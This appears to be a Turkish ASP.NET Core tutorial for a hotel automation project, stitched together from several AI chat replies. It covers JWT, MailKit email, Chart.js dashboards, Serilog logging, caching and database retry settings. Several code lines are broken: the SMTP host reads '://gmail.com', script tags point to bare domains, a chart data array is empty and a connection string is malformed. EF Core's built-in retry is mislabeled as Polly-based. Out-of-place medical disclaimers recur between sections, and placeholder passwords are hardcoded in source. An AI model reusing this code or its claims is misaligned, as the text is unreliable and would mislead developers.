döner
}
}
BÖLÜM 18: API Katmanında JWT Bearer
ve Clockskew Konfigürasyonu
Üretilen
token'ların API tarafından tanınması için Program.cs dosyasına kimlik doğrulama şemasını (Authentication
Scheme) ekliyoruz.
Uygulama:
API Güvenlik Entegrasyonu (Program.cs)
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.IdentityModel.Tokens;
using System.Text;
var builder = WebApplication.CreateBuilder(args);
// JWT Bearer Servislerinin Eklenmesi ve Kuralların Tanımlanması
builder.Services.AddAuthentication(options =>
{
options.DefaultAuthenticateScheme
= JwtBearerDefaults.AuthenticationScheme;
options.DefaultChallengeScheme
= JwtBearerDefaults.AuthenticationScheme;
})
.AddJwtBearer(options =>
{
options.TokenValidationParameters
= new TokenValidationParameters
{
ValidateIssuer
= true, // Yayıncıyı doğrula
ValidateAudience
= true, // Alıcıyı doğrula
ValidateLifetime
= true, // Süreyi denetle
ValidateIssuerSigningKey
= true,//
Güvenlik anahtarını doğrula
ValidIssuer =
builder.Configuration["JwtConfig:Issuer"],
ValidAudience
= builder.Configuration["JwtConfig:Audience"],
IssuerSigningKey
= new SymmetricSecurityKey(Encoding.UTF8.GetBytes(builder.Configuration["JwtConfig:Secret"])),
//
Kurumsal İpucu: Clockskew Ayarı (Varsayılan 5
dakikalık tolerans süresini sıfıra indirir)
ClockSkew = TimeSpan.Zero
};
});
builder.Services.AddControllers();
BÖLÜM 19: Koruma ve Rol Tabanlı Test Süreçleri (Postman / Authorize)
Artık
API kontrolörlerimizi [Authorize] niteliğiyle
kilitleyebiliriz. Sadece geçerli token'ı olan ve
ilgili role sahip olan istekler kapıdan geçebilir.
Uygulama:
Rol Korumalı Admin Controller Sınıfı
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Mvc;
[Route("api/[controller]")]
[ApiController]
public class AdminPanelController : ControllerBase
{
//
Sadece "Admin" rolüne sahip kullanıcılar bu uç noktaya erişebilir
[Authorize(Roles = "Admin")]
[HttpGet("GetSensitiveData")]
public IActionResult GetSensitiveData()
{
return Ok("Bu
veriye sadece geçerli bir JWT Token'a sahip ve rolü
ADMIN olanlar erişebilir.");
}
}
BÖLÜM 20: Kurumsal Yaklaşım: Refresh
Token Felsefesi
Token geçerlilik süresini kurumsal güvenlik standartlarına uygun
olarak 15 dakika gibi kısa bir süreye ayarladık. Ancak bu durum
kullanıcının her 15 dakikada bir sistemden atılmasına ve tekrar kullanıcı
adı/şifre girmesine sebep olur. Bu kötü kullanıcı deneyimini engellemek için Refresh Token
mimarisi uygulanır.
Refresh Token Çalışma Akışı:
Müfredatımızın
en interaktif ve işlevsel bölümlerinden biri olan Mesaj İşlemleri ve MailKit Entegrasyonu aşamasına geçiyoruz. İstediğiniz
doğrultuda, admin panelinden verilecek yanıtların MailKit
kütüphanesi ve Gmail SMTP sunucusu üzerinden canlı olarak
kullanıcının e-posta adresine ulaşmasını sağlayacağız.
Ayrıca
mesajların durum yönetimini (Okundu/Okunmadı/Arşivlendi) otomatikleştiren
kurumsal bir iş kuralını (Business Rule)
mimarimize entegre edeceğiz.
Bu
bölümde Mesajlaşma Entity Yapısı, İş Kuralları ile
Durum Yönetimi, MailKit ile Canlı SMTP Yapılandırması
ve Mesaj Yönetim Paneli konularını kod uygulamalarıyla işliyoruz.
BÖLÜM 21: Mesajlaşma Altyapısı ve Durum Yönetimi (Business
Rules)
İletişim
formundan gelen mesajları (Inbox) ve adminin
gönderdiği yanıtları (Outbox) veritabanında
esnek bir şekilde yönetebilmek için veri tabanı şemamızı ve iş kurallarımızı
hazırlayalım.
1.
Contact (İletişim) Sınıfının Geliştirilmesi
OtelProject.Entity katmanında mesaj detaylarını
ve durum bilgilerini tutacak sınıfımızı tasarlıyoruz.
Uygulama:
Gelişmiş Mesaj Modeli
namespace OtelProject.Entity
{
public class Contact
{
public int
ContactID { get;
set; }
public string SenderName { get;
set; } // Gönderenin Adı Soyadı
public string SenderEmail { get;
set; } // Gönderenin E-posta Adresi
public string Subject { get;
set; } // Mesajın Konusu
public string MessageBody { get;
set; } // Mesajın İçeriği
public DateTime MessageDate { get;
set; } //
Gönderim Tarihi
//
Durum Yönetimi Parametreleri
public bool IsRead { get;
set; } // Okundu mu?
public bool IsArchived { get;
set; } // Arşivlendi mi?
public string UrgencyLevel { get; set; }
// Önem Derecesi
(Kritik, Normal, Düşük)
}
}
2.
Business Katmanında Gelişmiş İş Kuralının Tanımlanması
İstediğiniz
ekstra iş kuralını ContactManager sınıfı içerisinde
kurguluyoruz.
Uygulama:
Akıllı Durum Yönetimi (ContactManager.cs)
public class ContactManager : IContactService
{
private readonly IContactDal _contactDal;
public ContactManager(IContactDal contactDal)
{
_contactDal =
contactDal;
}
public void TInsert(Contact
contact)
{
contact.MessageDate
= DateTime.Now;
contact.IsRead
= false;
contact.IsArchived
= false;
//
Metin tarama yöntemiyle akıllı iş kuralı tetikleniyor
string bodyLower = contact.MessageBody.ToLower();
string subjectLower =
contact.Subject.ToLower();
if (bodyLower.Contains("iptal") || bodyLower.Contains("şikayet") ||
subjectLower.Contains("acil") || bodyLower.Contains("iade"))
{
contact.UrgencyLevel = "Kritik";
}
else
{
contact.UrgencyLevel = "Normal";
}
_contactDal.Insert(contact);
}
//
Mesaj Okundu Bilgisini Güncelleyen Kurumsal Metot
public void TMarkAsRead(int
id)
{
var
message = _contactDal.GetById(id);
if (message != null)
{
message.IsRead = true;
_contactDal.Update(message);
}
}
}
BÖLÜM 22: MailKit ve Gmail SMTP
Entegrasyonu
Admin
paneli üzerinden gelen bir mesaja yanıt yazılıp postalandığında, bu yanıtın
kullanıcının gerçek e-posta kutusuna düşmesini sağlayacağız. Bunun için
projemize MailKit ve MimeKit NuGet paketlerini kuruyoruz.
1.
E-Posta Gönderim ViewModel Yapısı
namespace OtelProject.Frontend.Models.Mail
{
public class AdminMailViewModel
{
public string ReceiverEmail { get; set; } // Alıcının e-posta adresi
public string Subject { get;
set; } //
E-posta konusu
public string Body { get; set; } // E-posta içeriği
}
}
2.
MailKit İle Canlı Mail
Gönderme Servisi
Kurumsal
güvenlik gereği Gmail üzerinden mail gönderebilmek için normal şifreniz yerine
Google hesabınızdan alacağınız 16 haneli "Uygulama Şifresi" (App Password)
kullanılmalıdır.
Uygulama:
SMTP Mail Gönderim Sınıfı
using MailKit.Net.Smtp;
using MimeKit;
using OtelProject.Frontend.Models.Mail;
public class MailService
{
public void SendEmail(AdminMailViewModel
mailViewModel)
{
//
1. MimeMessage Nesnesinin Hazırlanması
MimeMessage mimeMessage = new
MimeMessage();
//
Gönderen Bilgisi
MailboxAddress
mailboxAddressFrom = new
MailboxAddress("Otel API
Rezervasyon",
"sizin_gmail_adresiniz@gmail.com");
mimeMessage.From.Add(mailboxAddressFrom);
//
Alıcı Bilgisi
MailboxAddress
mailboxAddressTo = new
MailboxAddress("Değerli
Misafirimiz",
mailViewModel.ReceiverEmail);
mimeMessage.To.Add(mailboxAddressTo);
//
İçerik ve Başlık Bilgisi
mimeMessage.Subject
= mailViewModel.Subject;
var
bodyBuilder = new
BodyBuilder();
bodyBuilder.HtmlBody
= mailViewModel.Body; // HTML formatında şık içerik desteği
mimeMessage.Body
= bodyBuilder.ToMessageBody();
//
2. MailKit SmtpClient ile
Canlı Bağlantının Kurulması
using (var client = new SmtpClient())
{
// Gmail SMTP sunucusuna güvenli port (465) üzerinden
bağlanıyoruz
client.Connect("://gmail.com", 465, true);
// Kimlik Doğrulama (Gmail adresiniz ve Google'dan alınan 16
haneli Uygulama Şifresi)
client.Authenticate("sizin_gmail_adresiniz@gmail.com", "abcd efgh ijkl
mnop");
// E-postayı canlı olarak gönder
client.Send(mimeMessage);
// Bağlantıyı güvenli kapat
client.Disconnect(true);
}
}
}
BÖLÜM 23: Admin Mesaj Yönetimi ve Yanıtlama Paneli
Şimdi,
gelen kutusunu (Inbox) listelediğimiz ve MailKit servisini tetikleyerek kullanıcılara yanıt
döndüğümüz MVC Controller akışını birleştirelim.
Uygulama:
Gelen Mesajları Yöneten Controller (AdminMessageController.cs)
using Microsoft.AspNetCore.Mvc;
using OtelProject.Frontend.Models.Mail;
using OtelProject.Entity;
public class AdminMessageController : Controller
{
private readonly IContactService _contactService;
private readonly MailService _mailService;
public AdminMessageController(IContactService contactService, MailService mailService)
{
_contactService
= contactService;
_mailService
= mailService;
}
//
1. Gelen Mesajları Listeleme Ekranı
public IActionResult Inbox()
{
//
Akıllı iş kuralımızın işlediği listeyi getiriyoruz
var
messages = _contactService.TGetList();
return View(messages);
}
//
2. Gelen Mesajın Detayı ve Okundu Olarak İşaretlenmesi
public IActionResult MessageDetails(int
id)
{
_contactService.TMarkAsRead(id);
// İş kuralı: Detayına bakılan mesaj OKUNDU
olur.
var
message = _contactService.TGetById(id);
return View(message);
}
//
3. Mesaja Canlı Mail İle Yanıt Verme Süreci (POST)
[HttpPost]
public IActionResult ReplyMessage(AdminMailViewModel
model)
{
if (ModelState.IsValid)
{
// MailKit servisimizi tetikleyerek
gerçek e-postayı uçuruyoruz
_mailService.SendEmail(model);
TempData["MailSuccess"] = "Yanıtınız
MailKit ile kullanıcının gerçek e-posta adresine
başarıyla postalandı!";
return RedirectToAction("Inbox");
}
return View(model);
}
}
Müfredatımızın
final aşamasına gelmiş bulunuyoruz. Bu bölümde, kurumsal standartlarda bir Admin
Dashboard istatistik paneli kurgulayacak, Chart.js kütüphanesi ile
verileri görselleştirecek, RapidAPI ve kendi veritabanımızdan (En Çok Rezerve Edilen Oda Türü)
akıllı analitikler çekeceğiz. Son olarak, projemizi canlı bulut MSSQL veritabanı senaryosu ile yayına alarak (Publish) süreci tamamlayacağız.
Bu
bölümde Gelişmiş İstatistik Sorguları, Chart.js Entegrasyonu, Bulut Veritabanı Yapılandırması ve Canlıya Alma (Publish) adımlarını eksiksiz olarak işliyoruz.
BÖLÜM 24: Gelişmiş Dashboard Analitiği ve İş Sorguları
Kendi
otel veritabanımızdan akıllı analitik verileri çekmek
ve sosyal medya takipçi istatistiklerini bir araya getirmek için API katmanında
gerekli sorguları hazırlıyoruz.
1.
Entity Framework Core ile
Akıllı Analitik Sorgusu (En Çok Rezerve Edilen Oda Türü)
DataAccess katmanında, rezervasyon ve
oda tablolarını ilişkilendirerek en çok tercih edilen oda türünü getiren LINQ
sorgusunu yazıyoruz.
Uygulama:
Analitik Repository Metodu
public string GetMostBookedRoomType()
{
using var context = new Context();
//
Rezervasyonları oda türlerine göre gruplayıp en yüksek adete sahip olanı
seçiyoruz
var
mostBookedRoom = context.Bookings
.GroupBy(b
=> b.Room.Title)
.OrderByDescending(g
=> g.Count())
.Select(g
=> g.Key)
.FirstOrDefault();
return mostBookedRoom
?? "Standart Oda";
}
2.
Dashboard Veri Modelinin (DTO) Hazırlanması
Tüm
istatistikleri tek bir HTTP isteğiyle ön yüze fırlatmak amacıyla bir Dashboard DTO'su kurguluyoruz.
public class DashboardStatisticsDto
{
public int
ActiveStaffCount { get;
set; }
public int
TotalBookingCount { get;
set; }
public string MostBookedRoomType { get; set; }
public int
InstagramFollowers { get;
set; }
public int
TwitterFollowers { get;
set; }
}
BÖLÜM 25: Chart.js ile Grafiksel Görselleştirme Panel
Arayüzü
Ön
yüz projesinde, API'den gelen aylık rezervasyon
verilerini şık bir pasta (Pie) veya çizgi (Line) grafiğe dönüştürmek için Chart.js
kütüphanesini kullanıyoruz.
Uygulama:
Dinamik Grafik Paneli (Dashboard/Index.cshtml)
@{
ViewData["Title"] = "Dashboard";
Layout = "~/Views/Shared/_Layout.cshtml";
}
<div class="container-fluid mt-4">
<h2 class="mb-4">📊 Yönetim ve İstatistik Paneli</h2>
<!--
Kart Yapıları / Analitik Özet -->
<div
class="row mb-4">
<div
class="col-md-4">
<div
class="card bg-primary text-white p-3 shadow-sm">
<h5>🔥 Popüler Oda Türü</h5>
<h3 id="lblMostBooked">Yükleniyor...</h3>
</div>
</div>
<div
class="col-md-4">
<div
class="card bg-success text-white p-3 shadow-sm">
<h5>📷 Instagram Takipçi</h5>
<h3 id="lblInstagram">0</h3>
</div>
</div>
<div
class="col-md-4">
<div
class="card bg-info text-white
p-3 shadow-sm">
<h5><i
class="fa-brands fa-x-twitter"></i>
Twitter Takipçi</h5>
<h3 id="lblTwitter">0</h3>
</div>
</div>
</div>
<!--
Grafik Alanı -->
<div
class="card p-4 shadow-sm">
<h4 class="mb-3">📈 Aylık Rezervasyon Yoğunluğu Analizi</h4>
<div
style="width: 100%; max-width: 600px; margin: 0 auto;">
<canvas id="bookingChart"></canvas>
</div>
</div>
</div>
<!-- Chart.js ve JQuery Dahil Ediliyor
-->
<script src="https://jsdelivr.net"></script>
<script src="https://jquery.com"></script>
<script>
$(document).ready(function
() {
// 1. API'den
Analitik Verilerin AJAX ile Çekilmesi
$.ajax({
url: "http://localhost:5000/api/DashboardStatistics",
type: "GET",
success: function (data) {
$("#lblMostBooked").text(data.mostBookedRoomType);
$("#lblInstagram").text(data.instagramFollowers.toLocaleString());
$("#lblTwitter").text(data.twitterFollowers.toLocaleString());
}
});
// 2. Chart.js ile Grafik Çizimi (Statik
Başlangıç Verisi, Dinamik Beslenebilir)
const
ctx = document.getElementById('bookingChart').getContext('2d');
new
Chart(ctx, {
type: 'bar', // Grafik Türü: Bar, Line, Pie, Doughnut
data: {
labels: ['Haziran', 'Temmuz', 'Ağustos', 'Eylül', 'Ekim'],
datasets: [{
label: 'Rezervasyon
Adetleri',
data:,
// API'den gelen aylık sayılar buraya bağlanır
backgroundColor: [
'rgba(54, 162, 235, 0.6)',
'rgba(75, 192, 192, 0.6)',
'rgba(255, 206, 86, 0.6)',
'rgba(153, 102, 255, 0.6)',
'rgba(255, 99, 132, 0.6)'
],
borderColor: 'rgba(54, 162, 235, 1)',
borderWidth: 1
}]
},
options: {
responsive: true,
scales: {
y:
{ beginAtZero: true }
}
}
});
});
</script>
BÖLÜM 26: Canlı Bulut MSSQL Veritabanı
ve Projenin Canlıya Alınması (Publish)
Lokal
geliştirme sürecimiz başarıyla tamamlandı. Şimdi projemizi dış dünyadaki
kullanıcıların erişebileceği gerçek bir sunucu ortamına (Production)
taşıyoruz.
1.
Bulut (Cloud) MSSQL Veritabanı Yapılandırması
Projenin
canlıda çalışabilmesi için veritabanını Azure, AWS
veya Plesk panel üzerinde barındırılan güvenli bir
bulut SQL sunucusuna taşımalıyız. Canlı veritabanı
IP/Sunucu adresi alındıktan sonra API projemizin canlı ortam ayarlarını içeren appsettings.Production.json dosyasına bağlantı dizesini
güvenli bir şekilde ekliyoruz.
Uygulama:
Canlı Ortam Bağlantı Dizesi (appsettings.Production.json)
{
"ConnectionStrings": {
"CloudSqlConnection": "Server=://bulutsunucunuz.com,1433;Database=CloudOtelDb;User Id=db_admin_otel;Password=UzunVeKarmasikSifre123!;"
}
}
2.
Web API ve Frontend Projelerinin Yayınlanması (Publish)
Visual
Studio veya .NET CLI aracılığıyla projemizi derleyip
sunucuya yüklenecek hale getirme sürecini işletiyoruz.
Adım
Adım Publish İşlemleri:
⚠️ Önemli Tıbbi
Bilgilendirme ve Uyarı (Medical Disclaimer)
Bu
eğitim içeriği ve geliştirilen otel otomasyon projesinin kapsamında yer alan
"sağlık, spa, termal hizmetler, misafir alerji takipleri veya engelli
misafir gereksinimleri" gibi alanlar tamamen genel yönetimsel
bilgilendirme ve veri tabanı simülasyonu amaçlıdır. Sistem üzerinde tutulan
hiçbir veri kişisel tıbbi tavsiye, teşhis veya tedavi mekanizması içermez ve bu
amaçla kullanılamaz. Sağlık durumları ve tıbbi süreçlerle ilgili her türlü
karar için mutlaka yetkili bir sağlık profesyoneline veya hekime danışılmalıdır.
Müfredatımızın
bu ileri düzey (Advanced) geliştirme aşamasında, canlı ortama (Production) alınmış projemizin sürdürülebilirliğini,
izlenebilirliğini ve performansını en üst seviyeye çıkaracak iki kritik
kurumsal mekanizmayı mimarimize entegre ediyoruz.
İlk
olarak, canlı ortamda oluşabilecek tüm çalışma zamanı (Runtime) hatalarını ve
sistem olaylarını merkezi bir panelden izleyebilmek amacıyla Serilog ve Seq günlükleme (Logging) altyapısını
kuracağız. Hemen ardından, veritabanı yükünü
hafifletmek ve API yanıt sürelerini milisaniyeler seviyesine düşürmek için sık
çağrılan veriler üzerinde In-Memory Caching (Bellek İçi Önbellekleme)
mekanizmasını kurgulayacağız.
BÖLÜM 27: Serilog ve Seq ile Merkezi Günlükleme (Logging) Altyapısı
Monolitik
veya mikroservis mimarilerde, logların sunucu
içindeki text dosyalarında kalması takip sürecini
zorlaştırır. Serilog, logları yapılandırılmış
(Structured JSON) veri formatında üreten gelişmiş bir
kütüphanedir. Seq ise bu yapılandırılmış
logları gerçek zamanlı olarak toplayan, filtreleyen ve görselleştiren merkezi
bir log yönetim arayüzüdür.
1.
Gerekli NuGet Paketlerinin Kurulması
API
projemize (OtelProject.WebApi) aşağıdaki paketleri
kuruyoruz:
2.
appsettings.json Üzerinde Seq
Sunucu Ayarları
Canlı
sunucumuzda veya yerelde çalışan Seq arayüzünün
adresini ve hangi log seviyelerinin toplanacağını yapılandırma dosyasına
ekliyoruz:
{
"Serilog": {
"MinimumLevel": {
"Default": "Information",
"Override": {
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
},
"WriteTo": [
{
"Name": "Seq",
"Args": { "serverUrl":
"http://localhost:5341" } //
Canlıda Seq kurulu olan IP/Domain yazılır
}
]
}
}
3.
Serilog Entegrasyonunun Sağlanması (Program.cs)
Uygulama
ayağa kalkarken Serilog'u ana log sağlayıcısı olarak
sisteme entegre ediyoruz:
using Serilog;
var builder = WebApplication.CreateBuilder(args);
// 1. Serilog Yapılandırmasını appsettings'ten
Okuyarak Aktif Et
Log.Logger = new
LoggerConfiguration()
.ReadFrom.Configuration(builder.Configuration)
.CreateLogger();
builder.Host.UseSerilog(); // Varsayılan .NET log motoru yerine Serilog'u
işaret et
builder.Services.AddControllers();
var app = builder.Build();
// 2. HTTP İstek
Hatlarını Otomatik Loglamak İçin Ara Katman (Middleware)
app.UseSerilogRequestLogging();
app.UseAuthorization();
app.MapControllers();
app.Run();
4.
Controller Seviyesinde Hata ve Olay Günlükleme
Uygulaması
Yazdığımız
API kontrolörleri içinde ILogger arayüzünü enjekte ederek beklenmedik hataları yakalıyor (Try-Catch) ve Seq paneline
detaylarıyla gönderiyoruz.
Uygulama:
Güvenli ve Log Destekli Room Controller
using Microsoft.AspNetCore.Mvc;
[Route("api/[controller]")]
[ApiController]
public class RoomLogController : ControllerBase
{
private readonly IRoomService _roomService;
private readonly ILogger<RoomLogController>
_logger;
public RoomLogController(IRoomService roomService, ILogger<RoomLogController> logger)
{
_roomService
= roomService;
_logger = logger;
}
[HttpGet("{id}")]
public IActionResult GetRoom(int
id)
{
//
Bilgi amaçlı log üretimi
_logger.LogInformation("Oda detayı istendi. İstenen Oda ID: {RoomID}", id);
try
{
var
value = _roomService.TGetById(id);
if (value == null)
{
// Uyarı seviyesinde log üretimi
_logger.LogWarning("Aranan
oda veritabanında bulunamadı. ID: {RoomID}", id);
return NotFound("Oda bulunamadı.");
}
return Ok(value);
}
catch (Exception ex)
{
// Kritik hata seviyesinde log üretimi (Hata detayları ve StackTrace Seq paneline JSON
gider)
_logger.LogError(ex, "Oda getirilirken sistem hatası oluştu! Oda ID: {RoomID}", id);
return StatusCode(500,
"Sistemsel bir hata meydana geldi.");
}
}
}
BÖLÜM 28: In-Memory Caching (Bellek İçi Önbellekleme)
Mekanizması
Otelimizin
sunduğu hizmetler (Wi-Fi, Spa, Havuz vb.) gibi veritabanında çok sık değişmeyen ancak web sitesinin ana
sayfasında her kullanıcı girişinde sürekli çağrılan veriler, veritabanına gereksiz yük bindirir. In-Memory
Caching ile bu veriyi ilk çağrıldığında RAM
belleğe alacak, sonraki isteklerde doğrudan RAM'den
okuyarak performansı maksimuma çıkaracağız.
1.
Önbellekleme Servisinin Tanımlanması (Program.cs)
.NET mimarisinin yerleşik caching servisini projemize dahil ediyoruz:
// In-Memory
Caching servisinin sisteme enjekte edilmesi
builder.Services.AddMemoryCache();
2.
API Katmanında Caching Mantığının Kurgulanması
ServiceController içinde, gelen istekleri önce
önbellekte kontrol eden, yoksa veritabanından çekip
belleğe yazan mekanizmayı tasarlıyoruz.
Uygulama:
Akıllı Performans Kontrolörü (ServiceController.cs)
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Caching.Memory;
using OtelProject.Entity;
[Route("api/[controller]")]
[ApiController]
public class ServiceController : ControllerBase
{
private readonly IServiceService _serviceService;
private readonly IMemoryCache _memoryCache;
private const string ServiceCacheKey
= "OtelHizmetleriListesi";
public ServiceController(IServiceService serviceService, IMemoryCache memoryCache)
{
_serviceService
= serviceService;
_memoryCache
= memoryCache;
}
[HttpGet]
public IActionResult GetServices()
{
//
1. Adım: Veri daha önce belleğe alınmış mı kontrol et
if (!_memoryCache.TryGetValue(ServiceCacheKey, out
List<Service> cachedServices))
{
// 2. Adım: Bellekte yoksa veritabanından
(SQL) verileri çek
cachedServices = _serviceService.TGetList();
// 3. Adım: Çekilen veriler için bellek kurallarını ve ömür
politikasını belirle
var
cacheOptions = new
MemoryCacheEntryOptions()
.SetAbsoluteExpiration(TimeSpan.FromHours(2))
// Veri bellekte mutlak olarak 2 saat kalacak
.SetSlidingExpiration(TimeSpan.FromMinutes(30))
// 30 dakika boyunca hiç istek gelmezse
bellekten sil
.SetPriority(CacheItemPriority.High);
// Bellek dolarsa bu veriyi silme önceliğini
yüksek yap
// 4. Adım: Veriyi belirlediğimiz anahtar ve kurallarla RAM
belleğe yaz
_memoryCache.Set(ServiceCacheKey, cachedServices, cacheOptions);
}
//
Veri ilk istekte SQL'den, sonraki tüm isteklerde doğrudan RAM'den
HTTP 200 ile döner.
return Ok(cachedServices);
}
//
Kurumsal Yaklaşım: Veri tabanında güncelleme veya yeni ekleme yapıldığında
belleğin temizlenmesi gerekir (Cache Busting)
[HttpPost]
public IActionResult AddService(Service service)
{
_serviceService.TInsert(service);
//
Yeni hizmet eklendiği için eskiyen önbellek verisini RAM'den
siliyoruz
_memoryCache.Remove(ServiceCacheKey);
return StatusCode(201);
}
}
⚠️ Önemli Sağlık
ve Güvenlik Bilgilendirmesi (Medical Disclaimer)
Bu
sistem altyapısı ve ileri düzey optimizasyon rehberi kapsamında geliştirilen
otel otomasyonu bileşenleri, merkezi izleme (logging)
mekanizmaları ve önbellekleme mimarileri tamamen
teknik yazılım performansı ve sistem stabilizesi odaklı simülasyonlardır. Otel
bünyesinde bulunabilecek termal alanlar, medikal spa departmanları,
misafirlerin acil durum sağlık bildirimleri veya ilaç saklama dolabı sıcaklık
takipleri gibi kritik sağlık süreçlerinin bu tip genel amaçlı In-Memory Cache veya merkezi log
mimarilerinde takibi kesinlikle tıbbi bir güvence veya teşhis altyapısı
oluşturmaz. Sağlık, ilk yardım ve tıbbi gereksinim süreçlerinde her zaman yerel
yasal mevzuatlara uygun, sertifikalı ve bağımsız çalışan tıp donanımları ile
uzman hekim görüşleri esas alınmalıdır.
Müfredatımızın
en ileri düzey mimari aşamasına geçmiş bulunuyoruz. Canlı ortamdaki projenizin
dayanıklılığını (Resilience) ve mikro performans
takibini en üst düzeye çıkarmak için iki kurumsal tasarım kalıbını projemize
entegre ediyoruz.
İlk
olarak, API uç noktalarımızın (Endpoints) milisaniye
bazında ne kadar sürede yanıt verdiğini ölçen ve yavaş çalışan sorguları tespit
etmemizi sağlayan Özel bir Action Filter ve Middleware mekanizması kurgulayacağız. Hemen ardından,
bulut SQL sunucumuzda yaşanabilecek anlık kesintilere, ağ kopmalarına (Transient Faults) karşı veritabanı bağlantılarımızı koruyan ve otomatik yeniden
deneme politikaları sunan modern Polly
kütüphanesi entegrasyonu rehberini hazırlayacağız.
BÖLÜM 29: Performans Takibi İçin Özel Action Filter ve Middleware
API
projelerinde darboğaz (Bottleneck) yaratan kod
bloklarını ve yavaş yanıt veren metotları profilleyebilmek
(Profiling) için HTTP istek hattına kronometre
yerleştiriyoruz. Bu sayede, her isteğin ne kadar sürdüğünü otomatik olarak
ölçüp yavaş çalışanları Serilog üzerinden
merkezi log sunucumuza (Seq) raporlayacağız.
1.
İstek Süresini Ölçen Özel Action Filter Sınıfı
OtelProject.WebApi projesinde Filters klasörü oluşturup, her metot çalışmadan önce kronometreyi
başlatan ve metot bittiğinde süreyi hesaplayan PerformanceLogFilter sınıfını yazıyoruz.
Uygulama:
Kronometre Filtre Sınıfı
using Microsoft.AspNetCore.Mvc.Filters;
using System.Diagnostics;
public class PerformanceLogFilter : IActionFilter
{
private Stopwatch _stopwatch;
private readonly ILogger<PerformanceLogFilter>
_logger;
public PerformanceLogFilter(ILogger<PerformanceLogFilter>
logger)
{
_logger = logger;
}
//
Metot (Action) çalışmaya başlamadan hemen önce tetiklenir
public void OnActionExecuting(ActionExecutingContext
context)
{
_stopwatch = Stopwatch.StartNew(); // Kronometreyi başlat
}
//
Metot çalışmasını bitirdikten hemen sonra tetiklenir
public void OnActionExecuted(ActionExecutedContext
context)
{
_stopwatch.Stop();
// Kronometreyi durdur
var
executionTime = _stopwatch.ElapsedMilliseconds;
// Geçen süreyi milisaniye olarak al
var
actionName = context.ActionDescriptor.DisplayName;
var
httpMethod = context.HttpContext.Request.Method;
//
Kurumsal İş Kuralı: Eğer bir API isteği 500 ms'den
uzun sürüyorsa UYARI (Warning) olarak kaydet
if (executionTime
> 500)
{
_logger.LogWarning("⚠️ YAVAŞ PERFORMANS UYARISI! {Method}
{Action} metodu {Elapsed} ms
sürdü.",
httpMethod, actionName, executionTime);
}
else
{
_logger.LogInformation("🚀 {Method}
{Action} başarıyla tamamlandı. Süre: {Elapsed} ms.",
httpMethod, actionName, executionTime);
}
}
}
2.
Filtrenin Global Olarak Tanımlanması (Program.cs)
Yazdığımız
bu performans filtresinin API'deki tüm controller ve metotlarda otomatik olarak çalışması için
global servis kaydını yapıyoruz:
// Filtrenin tüm API
hattında geçerli olacak şekilde global kaydedilmesi
builder.Services.AddControllers(options =>
{
options.Filters.Add<PerformanceLogFilter>();
});
BÖLÜM 30: Polly Kütüphanesi ile Veritabanı Yeniden Deneme (Retry)
Politikası
Canlıya
alınan projelerde bulut veritabanı (Cloud MSSQL)
anlık ağ dalgalanmaları veya aşırı yüklenme nedeniyle birkaç saniyeliğine
isteklere yanıt veremeyebilir. Bu geçici hatalarda (Transient
Faults) kullanıcıya hemen hata ekranı göstermek
yerine, Polly kütüphanesi ile arka
planda veritabanı bağlantısını akıllı aralıklarla
yeniden denetebiliriz.
1.
Gerekli NuGet Paketinin Kurulması
Veri
tabanı katmanımıza veya API projemize şu paketi dahil ediyoruz:
2.
DbContext Üzerinde Gelişmiş Yeniden Deneme Politikası
Kurgulanması
Veritabanı bağlantımızı kurguladığımız Context sınıfı veya Program.cs içerisindeki SQL Server ayarlarını kurumsal
"Dayanıklılık" (Resilience) kurallarına
göre güncelliyoruz.
Uygulama:
Çökmeye Karşı Korumalı SQL Bağlantı Yapısı
using Microsoft.EntityFrameworkCore;
public class Context : DbContext
{
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
if (!optionsBuilder.IsConfigured)
{
optionsBuilder.UseSqlServer(
"Server=://bulutsunucunuz.com,1433;Database=CloudOtelDb;User Id=db_admin_otel;Password=UzunVeKarmasikSifre123!;",
sqlServerOptionsAction: sqlOptions
=>
{
// POLLY TABANLI AKILLI RETRY MEKANİZMASI
sqlOptions.EnableRetryOnFailure(
maxRetryCount: 5, // En fazla 5 kez yeniden bağlanmayı dene
maxRetryDelay: TimeSpan.FromSeconds(30),
// Denemeler arasındaki maksimum bekleme
süresi 30 saniye
errorNumbersToAdd: null // Standart SQL hata kodlarının tamamını tara
);
});
}
}
}
3.
Mekanizmanın Çalışma Felsefesi ve İş Mantığı
Bu
kurgu sayesinde canlı sistem şu şekilde refleks gösterir:
⚠️ Önemli Sağlık
ve Güvenlik Bilgilendirmesi (Medical Disclaimer)
Bu
dokümanda yer alan performans izleme filtreleri (Action Filters),
milisaniye bazlı kronometre yapıları ve veritabanı
hata tolerans sistemleri (Polly Resilience
Policies), tamamen kurumsal web uygulamalarının bilgi
işlem stabilizesini artırmaya yönelik yazılımsal yaklaşımlardır. Otel otomasyon
projesindeki acil durum butonları, sağlık odası konsültasyon kayıtları, tıbbi
cihaz internet bağlantıları veya hasta/misafir hayati fonksiyon takip
sistemleri gibi doğrudan insan sağlığı ve güvenliğini ilgilendiren alanlarda bu
tip yazılımsal yeniden deneme (retry) veya performans
ölçüm kodları kritik zaman kayıplarına yol açabileceğinden tek başına bir
güvenlik veya yaşam destek standardı olarak kabul edilemez. Hayati veri
transferi gerektiren medikal senaryolarda, yazılım katmanlarından bağımsız,
gerçek zamanlı (Real-Time OS) çalışan tıbbi sertifikalı donanım altyapıları ve
profesyonel acil durum protokolleri uygulanmalıdır.
İlettiğiniz
eğitim içeriği metnini detaylıca analiz ederek anlamsız satırlardan, sürelerden
(dakika/saniye), "Önizleme" ve
"ders" ibarelerinden arındırdım. Talebiniz doğrultusunda özet
yapmadan, her konuyu derinlemesine, teorik altyapısı, ASP.NET Core mimarisindeki karşılığı, kod örnekleri ve pratik
uygulamalarıyla birlikte eksiksiz bir rehber halinde tasarladım.
İçerik
çok kapsamlı ve detaylı olduğundan, konularda hiçbir eksiklik kalmaması adına
bu yanıtımızda "Giriş, Öğrenecekleriniz ve 1. Bölüm: Güvenlik Önlemleri
(Data Protection, IP Kontrolü, Secret
Protection ve CORS)" başlıklarını eksiksiz,
uygulamalı olarak ele alıyoruz.
ASP.NET CORE GÜVENLİK (SECURITY) MİMARİSİ VE UYGULAMALI
KORUNMA REHBERİ
Giriş ve "Öğrenecekleriniz" Bölümünün Açıklaması
Modern
